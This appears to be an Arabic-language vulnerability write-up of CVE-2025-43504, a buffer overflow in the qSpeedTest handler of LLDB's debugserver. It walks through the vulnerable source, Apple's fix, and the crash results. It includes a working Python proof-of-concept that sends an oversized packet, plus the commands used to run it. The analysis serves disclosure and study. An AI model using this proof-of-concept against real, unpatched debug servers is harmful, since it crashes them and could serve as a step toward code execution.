
في طفولتي، كنت أستمتع دائمًا بالبحث في صناديق أقراص DVD في متجر Walmart القريب مني. لاحظت أن الكثير من الأفلام نفسها تُترك في الأعلى، لكن إذا بحثت بعمق فعلًا، ستجد عناوين أكثر إثارة للاهتمام وتخصصًا.
عندما يفيض البرنامج على عازلة (buffer)، فأنت في الأساس تمد يدك إلى صندوق الصفقات الخاص به. واعتمادًا على مدى عمق وصولك، يمكن أن تتغير أقراص DVD - أو في هذه الحالة، البنى المستبدلة في الذاكرة -.
صندوق الصفقات /bin لهذا اليوم هو CVE-2025-43504: تجاوز سعة عازلة عامة عن بُعد قبل المصادقة وجدته في debugserver الخاص بـ LLDB.
أثناء تطوير التطبيقات، غالبًا ما يجد المطورون حاجةً لتصحيح أخطاء تطبيقهم على جهاز iOS فعلي. ولتحقيق ذلك، يقوم Xcode بتركيب صورة قرص مطوّر (Developer Disk Image) على جهاز iPhone المستهدف ثم يقترن به.
بمجرد الاقتران، يستطيع مضيف macOS التواصل مع عميل iOS باستخدام debugserver المثبّت على العميل. والآن، أي عميل يستطيع إنشاء جلسة GDB-remote مع debugserver الخاص بالجهاز يمكنه الوصول إلى معالج qSpeedTest وتجاوز سعة العازلة الهشّة.
دعونا نلقي نظرة على صفحة الإصدار الأمني لـ Xcode 26.1 لفهم أفضل لكيفية تصنيف Apple لـ CVE-2025-43504:

بسبب التخفيفات البرمجية الحديثة، تعتبر Apple أن عمليات تجاوز سعة العازلة هي في المقام الأول مشكلة حرمان من الخدمة (denial-of-service) وليست بدائية إفساد (corruption primitive). وكما سنستكشف اليوم، هذا صحيح بشكل عام؛ إذ سيحتاج المهاجم إلى تجاوز عدة عقبات ومن المرجح أن يقرن هذه الثغرة بخلل آخر لتحقيق تنفيذ عشوائي للكود.
إذا كنت ترغب في التجربة مع نسخة غير مصحّحة من debugserver، استخدم الـ commit التالي أو أي commit سابق على ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
قبل التصحيح في RNBRemote.cpp، كان بإمكان أي مستخدم عن بُعد يستطيع الاتصال بـ debugserver الخاص بجهاز iOS إرسال حزمة qSpeedTest قبل المصادقة إلى RNBRemote::HandlePacket_qSpeedTest وإفساد البنى المجاورة في قطاع البيانات العام الخاص بـ debugserver.
ومع ذلك، هناك تحذير مهم: نحن نتحكم فقط في طول الإفساد. محتويات الحمولة ثابتة على تدفق من أحرف 'a'. وبينما قد يستمتع الطلاب بعلاماتهم المرتفعة باستمرار، فإن الفائدة العملية لهذا التجاوز محدودة للغاية بحقيقة أننا لا نستطيع التحكم في البايتات الفعلية التي تُكتب - فقط إلى أي مدى يمتد فيضان حروف 'a'.
الآن، دعونا نلقي نظرة تحت الغطاء على RNBRemote::HandlePacket_qSpeedTest لرؤية ما يحدث بالضبط:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
دور RNBRemote::HandlePacket_qSpeedTest() هو معالجة الحزم الواردة qSpeedTest:response_size:<hex>; دون طلب مصادقة من مستخدم عن بُعد يمكنه التواصل مع ملف debugserver الثنائي الخاص بجهاز iOS.
ومع ذلك، بمجرد أن يتمكن مستخدم عن بُعد من إرسال حزمة qSpeedTest:response_size:<hex>; إلى debugserver، لا تجري أي فحوصات مصادقة داخل debugserver قبل معالجة response_size المقدَّم من المستخدم. لذلك، أي مستخدم يمكنه التواصل مع جهاز iOS مثبّت عليه صورة قرص مطوّر (Developer Disk Image) يستطيع تجاوز سعة debugserver عبر حزمة qSpeedTest:response_size:<hex>;.
الآن وقد وصلنا إلى الدالة الهشّة RNBRemote::HandlePacket_qSpeedTest()، دعونا نفحص بالضبط كيف يحدث التجاوز. أولاً، يتم استخراج الحجم <hex> المقدَّم من المستخدم في الحزمة qSpeedTest:response_size:<hex>; وتخزينه في المتغير response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
إذا نجح التحليل وكان الحرف التالي هو فاصلة منقوطة، يتم تهيئة عازلة ثابتة محلية للدالة بحجم 4 MiB + 16 بايت باسم g_data وتُزرع بالترويسة ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
بتجميع كل ذلك معًا، يقوم memset بعد ذلك بملء العازلة الثابتة g_data بحجم 4 MiB + 16 بايت بالحرف 'a' مستخدمًا قيمة response_size التي يتحكم فيها المستخدم كعدد حروف 'a' المطلوب استخدامها.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
لذلك، كلما أرسل عميل LLDB عن بُعد حزمة qSpeedTest:response_size:<hex>; بقيمة response_size أكبر من العازلة بحجم 4 MiB + 16 بايت، يحدث تجاوز سعة عازلة ويفسد المتغيرات العامة المجاورة المخزنة في قطاع البيانات العام (.bss) الخاص بـ debugserver.
الآن بعد أن فهمنا البنية خلف التجاوز، دعونا نغوص في الآليات الفعلية للثغرة. للبدء، دعونا نستخدم برنامج Python التالي لاستكشاف بدائيات الإفساد المكتسبة عبر تجاوز g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()
بعد تشغيل debugserver، نقوم بتشغيل أمر python3 التالي ونقدم response_size بقيمة 4004AB:
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
نلاحظ أن debugserver لا ينهار ويعود بشكل طبيعي:

على الرغم من أننا خارج الحدود تقنيًا، فإن g_data يُنهى ببايت \0، لذلك لا يُستبدل مؤشر دالة التسجيل المجاور g_log_callback إلا ببايت NULL، مما يُبقي المؤشر بأكمله NULL.
بعد تشغيل debugserver، نقوم بتشغيل أمر python3 التالي ونقدم response_size بقيمة 0x4004AC:
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
يا للهول!

بتقديم بايت إضافي واحد، تجاوزنا الذيل NULL وانتهى بنا الأمر بإلغاء الإشارة (dereferencing) إلى مؤشر g_log_callback المجاور الذي أصبحت قيمته 0x61، مما أدى إلى انهيار. الآن، دعونا نزيد معامل --size لدينا باستمرار بمقدار واحد ونرى ما سيحدث:

كما نرى، نحن الآن نتحكم في قيمة g_log_callback. حسنًا، جزئيًا؛ نحن في الواقع نتحكم فقط في عدد البايتات داخل g_log_callback التي ستكون مساوية لـ 0x61.
يمكننا رؤية حدوث ذلك في _DNBLogVAPrintf:
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}
بما أن g_log_callback ليس NULL، يُقفل الـ mutex ثم يُستدعى المؤشر الذي أفسدناه فيحدث الانهيار. الآن، بعد response_size بقيمة 0x4004B3، نتوقف عن رؤية أي تغيير حقيقي في عنوان الانهيار أو تتبّع المكدس المقابل حتى بعد إضافة إزاحة 0x7F إلى response_size. من المنطقي أن يكون الأمر كذلك؛ لأنه بمجرد أن يصبح مؤشر g_log_callback مُفسَدًا، يصبح أي إفساد لاحق في بنى التسجيل الأخرى غير ذي صلة بسبب الانهيار الأولي الناتج عن إلغاء الإشارة إلى g_log_callback.
من المثير للاهتمام، في إصدار إنتاجي من macOS قبل التصحيح، تمكنت من استخدام هذا التحكم الجزئي في المؤشر لاستبدال مؤشرات مختلفة في مساحة المستخدم في الذاكرة:
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169
لسبب ما، كان البايت الأخير من كل عنوان يزداد دائمًا بمقدار 0x8. ومع ذلك، إذا تمكنا من حل مشكلة المحاذاة الناتجة عن البايتات الختامية 0x6169، وتمكنا بطريقة ما من التنبؤ بالبيانات التي يُلغي المؤشر المستبدَل الإشارة إليها والتحكم فيها، فسنكون نظريًا قادرين على إعادة توجيه تدفق التحكم والحصول في النهاية على تنفيذ للكود.
ناقشنا بإيجاز قفل الـ mutex قبل إلغاء الإشارة إلى مؤشر g_log_callback المُفسَد. الآن، عند response_size بقيمة 0x40052C، يصبح الـ mutex نفسه مُفسَدًا:

نلاحظ أن المشكلة ظهرت عندما نفّذت _DNBLogVAPrintf بناء lock_guard:
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
استنادًا إلى تتبّع المكدس، نرى أن lock_guard يتعطل عندما يتم استدعاء __m_.lock:
31│ _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
32│ : __m_(__m) {
33│ __m_.lock();
│ ▲
34│ }
35│
بمزيد من الفحص، دعونا نلقي نظرة على تعريف دالة std::recursive_mutex:
void recursive_mutex::lock() {
int ec = __libcpp_recursive_mutex_lock(&__m_);
if (ec)
std::__throw_system_error(ec, "recursive_mutex lock failed");
}
يبدو أنها غلاف (wrapper) لـ __libcpp_recursive_mutex_lock:
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
return pthread_mutex_lock(__m);
}
والتي بدورها تبدو غلافًا لـ pthread_mutex_lock:
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
return _pthread_mutex_lock(mutex, false);
}
وهي غلاف آخر لـ _pthread_mutex_lock... لكن لا نحتاج إلى الذهاب إلى ذلك الحد.
نظرًا لأن مؤشر pthread_mutex_t مُفسَد بسبب تجاوزنا، يقوم pthread_mutex_lock بإلقاء std::system_error("recursive_mutex lock failed") ثم يقوم البرنامج بإلقاء abort() وينتهي.
بسبب إجهاض البرنامج، فإن استغلال response_size بين 0x40052C و0x402C62 أكثر صعوبة بشكل ملحوظ، لأننا نفسد بدائية مزامنة (synchronization primitive) نظرًا للفحوصات الإضافية التي يجريها macOS.
الآن، عندما نستخدم response_size بقيمة 0x402C63 أو أكبر، يتعطل المعالج (CPU) داخل RNBRemote::HandlePacket_qSpeedTest بمجرد أن يعبر memset الحدود إلى أي صفحة حارس (guard page) أو منطقة غير معيّنة (unmapped region) وضعتها النواة بعد قطاع .bss في الذاكرة:

هذا الشكل النهائي من التجاوز ليس مثيرًا للاهتمام، إذ لا توجد طريقة مباشرة للتحكم في تنفيذ البرنامج.
الآن بعد أن غطينا الثغرة نفسها، دعونا نفحص كيف قامت Apple بتصحيحها:

وفقًا لوصف التصحيح،
غيّر هذا التخصيص ليكون على الكومة (heap)، وفرض حدًا أقصى للحجم الذي يمكن اختباره (4MB، في الوقت الحالي).
نرى تغييرين رئيسيين:
.bss) الخاص بـ debugserverنظرًا لاتساع النظام البيئي مغلق المصدر الذي تقوم عليه برامج وأنظمة Apple، فإن اكتشاف العيوب البرمجية وفهمها بشكل موثوق يظل دائمًا تحديًا.
ومع ذلك، هناك دائمًا تبعيات مفتوحة المصدر تعتمد عليها Apple؛ وإذا تمكنت من العثور على مشكلة في إحداها، فمن المرجح أن تكون هناك تأثيرات ملموسة في المراحل اللاحقة.
حظًا سعيدًا في البحث، وتأكد من الإفصاح بمسؤولية عن أي مشكلات قد تجدها 😉